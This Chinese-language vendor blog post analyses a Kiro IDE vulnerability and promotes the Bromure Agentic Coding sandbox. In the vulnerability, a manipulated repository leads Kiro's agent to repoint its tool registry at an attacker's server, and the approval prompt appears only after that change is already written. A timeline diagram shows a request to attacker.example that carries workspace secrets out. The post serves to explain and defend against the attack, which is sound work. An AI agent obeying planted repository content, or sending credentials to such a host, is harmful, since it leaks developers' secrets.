返回所有文章
發佈於 · 作者 Renaud Deraison

檔案早就寫在磁碟上了

9 月 11 日 AWS 公布了 CVE-2026-89332:一個動過手腳的儲存庫會讓 Kiro 的代理改寫工作區設定檔,把 Powers 登錄指向攻擊者的端點。Kiro 確實把這項變更送出審核,連同插入的資料與網址一併顯示。但寫入已經完成,所以在回答之前先打開 Powers 面板,工作區資料照樣送了出去。AWS 說,凡是用舊版開過的專案,憑證都要輪替。在 Bromure Agentic Coding 的工作區裡,工具登錄不是來賓寫得到的檔案,那筆請求出去時會撞上出口規則,而它會帶走的憑證是誘餌。

核准對話框跳了出來,點名了攻擊者的網址,也顯示了正要送過去的資料。它抵達的時候, 它所詢問的那筆寫入,早已落在磁碟上。

你把別人寄來的儲存庫複製下來,讓代理對著它工作。一張卡片滑了進來:代理想改一項 設定,這是它插入的那一行,這是網址。你打算讀它。但你先切到外掛面板,好奇這個 專案會拉進什麼東西,而那一下點擊,就把這場攻擊完成了。

9 月 11 日,AWS 為其代理式 IDE Kiro 中的 CVE-2026-89332 發布了 安全公告 2026-111-AWSCVE 條目用目錄那種平板的語言描述它:

在 0.8.135 版之前的 Amazon Kiro IDE,其 Kiro Powers 功能納入了來自不受信任 控制範圍的功能,可能讓未經驗證的遠端行為者,從開發者工作站取得敏感資訊。

該條目以 CVSS 3.1 評為 5.5,AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N:機密性衝擊高, 完整性與可用性則無衝擊。Kiro 0.8.135 修好了它,AWS 未提供任何暫行解法。

Powers,以及那份說明它們從哪來的檔案

Powers 是 Kiro 的外掛格式:把 MCP 工具、技能與參考知識打包成一個可安裝的組件。 MCP 是 Model Context Protocol,讓編碼代理能呼叫外部工具並讀取其結果的那個插頭。 你在 IDE 裡的登錄中瀏覽 Powers 並按下安裝,就像你瀏覽擴充套件那樣。

有一項設定指名了 IDE 要瀏覽的登錄,而在不受信任的工作區裡,Kiro 的代理寫得到 工作區的設定檔。動過手腳的儲存庫便用這一點,把 Powers 登錄的網址指向攻擊者經營的 端點。你一打開 Powers 面板,Kiro 就去取那個網址,而這筆請求會帶著工作區資料上路: 在一個真正的專案裡,那就是擺在程式碼旁邊的任何東西,例如 .env 的內容、雲端 存取金鑰、API 權杖與資料庫網址。

Kiro 來過這裡。7 月時, 一個被下毒的說明文件頁面改寫了啟動 Kiro MCP 伺服器的設定, 當時連核准提示都沒有。AWS 補上了提示,而 9 月的公告記下了這個提示的表現。

先寫,後問

公告對這段順序的敘述,才是值得記住的部分:

Kiro 把變更呈給使用者核准,顯示了插入的資料與網址,但檔案已經寫到磁碟上了, 因此在回應提示之前打開 Powers 面板,仍然會發出那筆請求。

對話框盡到了對話框的本分。它同時顯示了插入的資料目的地網址,那是審閱者判斷 這項變更所需要的全部。問題還開著的時候,檔案已經躺在磁碟上,所以那個問題是在 敘述一樁事件,而不是在管住它。寫入與你的回答之間有一扇窗,而在窗內,是那項設定 決定 Kiro 去取什麼。在那扇窗裡點一下面板,就是攻擊的全部。

一台機器,幾秒鐘的一扇窗儲存庫為操縱代理而寫的內容,以不受信任的工作區開啟那筆寫入工作區設定檔,powers registry → 攻擊者已在磁碟上,生效中核准卡片顯示插入的資料與目的地網址然後等你你的答覆允許或拒絕卡片等待的時候,設定已經生效你點開 Powers 面板 · Kiro 去取設定好的登錄網址GET https://attacker.example/registry ← 工作區資料一同上路你之後給的答覆,已經沒有什麼可以攔下來
把 CVE-2026-89332 畫成由左至右的時間軸,全部發生在開發者這一台機器上。動過手腳的儲存庫讓代理寫下工作區設定檔,把 Kiro Powers 登錄的網址改指到攻擊者的端點。設定檔落到磁碟上,之後核准卡片才出現,如實顯示插入的那一行與網址。卡片等著答覆的時候,設定已經生效:打開 Powers 面板就會讓 Kiro 去取設定好的登錄,工作區資料隨著請求離開。開發者之後點什麼都一樣,已經沒有什麼可以攔下來了。

一個你可能跑輸的提示

核准提示要能管住某個結果,前提是那個結果在等你的答覆。先把效果做掉,提示就變成 一則附了按鈕的通知,而它保護你多少,端看你讀得多快、以及你邊讀邊點了什麼。Kiro 先寫後問,而正是這個順序讓代理式 IDE 感覺俐落。任何把檔案寫入工具交到代理手上、 再在上頭鎖一層同意機制的產品,都面對同一筆交易,而廠商還會繼續這樣選。

版本更新關掉了這一個案例。留下來的,是那項設定住在哪裡,以及它一旦改變之後能碰 到什麼。

那筆寫入在 Bromure 工作區裡會落到哪

Bromure Agentic Coding 讓編碼代理在你 Mac 上一台硬體虛擬化的 Linux VM 裡執行, 安全控制放在那道邊界的主機側。攻擊抵達工作區之後還剩四步,而產品有不同的部分 各自回應其中一步。

工具登錄不是來賓寫得到的檔案。 在 Bromure 裡,你只定義一次 MCP 伺服器,在 應用程式的 MCP 面板,在主機上。應用程式會把每一筆定義轉成當下執行的那個代理的 原生設定格式:Claude Code 是 ~/.claude.json,Codex 是 ~/.codex/config.toml 裡的一段 TOML,Grok Build 是使用者設定檔,然後在開機時注入 VM。手冊把後果說得 明白:新增、編輯或移除一台伺服器,要到工作區的工作階段下次啟動才生效,而不是在 執行中的工作階段裡即時生效。在 VM 裡改寫工具設定的代理,改到的是一份副本,在一台 不屬於你的機器上,而那份副本要變成活的工具,得等到某次改讀主機定義的工作階段啟動 才行。窗根本沒有打開,因為變更與效果坐在不同的地方。至於 HTTP 的 MCP 伺服器, 權杖同樣留在主機側,放在一個標註著 never sent to VM, swapped by proxy 的憑證 欄位裡。

那筆寫入落在一台 VM 裡。 每個工作區都擁有自己的持久 Linux VM,有自己的核心、 磁碟、MAC 位址與網路命名空間。失控的代理行程能砸爛的只有那一台 VM;你的 Mac、 你其他的工作區、你真正的檔案都毫髮無傷,除了你刻意分享出去的那些資料夾。動過 手腳的儲存庫能改到的,是一台本來就是要被改、必要時還可以被抹掉的機器上的設定檔。

那筆請求得出得去。 昨天 Vite 掃描的那篇沒有向外的那一段 可以擋。這一篇有:外洩就是一筆發往攻擊者所選主機的普通請求,而每個工作區一套的 出口防火牆正是為此而設。Guardrails 會對 VM 開出的每一條連線,套上一份有先後順序、 pf 風格的規則集,依主機、IP 或 CIDR、通訊協定、連接埠,網頁流量甚至細到個別的 HTTP 動詞,於是一個工作區可以讀一個它無權寫入的 API。Bromure 在虛擬交換器上強制 執行一次,在代理伺服器上再強制執行一次,來賓的 80 與 443 埠流量會被導進代理 伺服器,所以 VM 裡沒有東西能脫出檢查。規則的修改會立刻送達執行中的工作階段。一個 規則裡寫著你的登錄、你的 forge、你的模型供應商的工作區,不會有任何一行寫著 attacker.example

那筆請求帶走的會是誘餌。 公告的說法是「從開發者工作站取得敏感資訊」,而在 Bromure 的工作區裡,那份資訊是誘餌。Bromure 會把你設定的每一份憑證,在 VM 內換成 一份保留結構的假貨,由真值加上每次安裝專屬的 32 位元組鹽,經 HKDF-SHA256 導出, 保住用戶端驗證器期待的形狀:Anthropic 是 sk-ant-api03-brm-…,GitHub 是 ghp_ 加 36 個字元,GitLab 是 glpat- 加 20 個,Kubernetes 是 brm-k8s-…,資料庫密鑰是 brm-db-…。這些假貨會進到環境變數,也進到 ~/.git-credentials~/.docker/config.json~/.kube/config~/.aws/config 以及 MCP 的設定裡。 真值加密留在 Mac 上,由主機的代理伺服器在最後一刻換到線路上,並且只限於它所屬的 那個目的地主機。

一台開發者工作站一個檔案系統、一個網路、真的金鑰寫入落在你的磁碟上你還沒回答,設定就已生效卡片與那一下點擊賽跑誰先發生,誰就決定結果GET attacker.example/registry工作區資料,走一個尋常的對外連接埠事後更新,然後輪替你開過的任何專案裡出現過的每一份憑證在一個工作區裡來賓磁碟、主機側的登錄、誘餌寫入落在 VM 的磁碟上工具定義住在主機,開機時才注入請求撞上出口規則在虛擬交換器,代理伺服器再一次出了範圍的誘餌就是絆索451 · 零位元組轉發 · VM 暫停事後抹掉磁碟與家目錄,什麼都不用輪替
同一個動過手腳的儲存庫,在兩台機器上打開。在開發者工作站上,寫入落在真正的檔案系統,核准卡片與 Powers 面板賽跑,請求帶著專案裡有的東西前往攻擊者的端點,而補救辦法是把碰得到的憑證全部輪替。在 Bromure Agentic Coding 的工作區裡,寫入落在一顆 VM 磁碟上,而主機保有具權威性的工具定義並且只在開機時注入,向外的請求在虛擬交換器與代理伺服器上兩度撞上工作區的出口規則,真的出得去的東西帶的是保留結構的誘餌,而一份寄往非其鑄造對象主機的誘餌會以 HTTP 451 被拒,同時 VM 當場暫停。

在請求本身就觸發的絆索

誘餌還做第二份工作。每一份假貨都只有一個正當的目的地家族,也就是它被鑄造出來時 所屬的那個主機範圍,所以一份假貨出現在寄往其他任何地方的請求裡,就代表 VM 裡有 東西正在把憑證運出這台機器。代理伺服器會用 Aho-Corasick 自動機掃描每一筆向外的 請求,標頭與內文都掃,成本低到足以全部都掃。

一旦命中,代理伺服器就以 HTTP 451 拒絕該請求,一個位元組都不轉發,然後把 VM 暫停。 警示會提供 Shut down、會先把磁碟、家目錄與分享資料夾匯出以供鑑識的 Save for Investigation,以及後果自負的 Continue。這次偵測會在 Security Timeline 留下一行紅色的 Credential brokering,Bromure 並把該工作區標記為已 淪陷,於是你下次啟動時會先問你要不要抹掉 VM 磁碟與持久家目錄,同時保留你的權杖、 金鑰與設定。你什麼都不必打開。這個偵測器預設就在跑。

Kiro 的核准卡片,問的是一份早已改掉的檔案。淪陷偵測器什麼都不問:它在飛行途中攔 下請求,凍住送出請求的那台機器,事後才告訴你。Bromure 自己的同意提示也是這個方向。 在 Ask 模式下,提示注入掃描器會在任何一個位元組抵達模型主機之前,先扣住向外的 請求;Guardrails 的寫入對話框扣住的是 API 呼叫,而不是事後回報;而當你遠端操作 一個工作區時,那些提示是在主機上繪製的,淪陷的來賓既看不到也偽造不了,而逾時或 關掉都算作拒絕。

什麼都不用輪替

AWS 的補救分兩步。更新到 0.8.135,然後輪替你用舊版開過的任何專案裡出現過的憑證。 第二步比第一步貴,而且貴得很特別:你圈不出範圍。你不知道哪些儲存庫動過手腳,也 不知道哪幾下面板點擊落在哪一扇窗裡,所以你只能把碰得到的全部輪替一遍,再把依賴 這些憑證的工具鏈重新登入一次。

Bromure Agentic Coding 的文件把同一個想法反過來說:因為外洩的只有假貨,真正的 憑證從來不需要輪替。把具權威性的工具登錄留在主機,讓不受信任的儲存庫跑在一台你 丟得掉的機器上,並且把那台機器的家目錄填滿誘餌。這樣一來,一場你跑輸的競賽,代價 就只是一份 VM 映像。

安裝 Bromure Agentic Coding,然後讓下一個儲存庫去試著改寫一項 設定吧。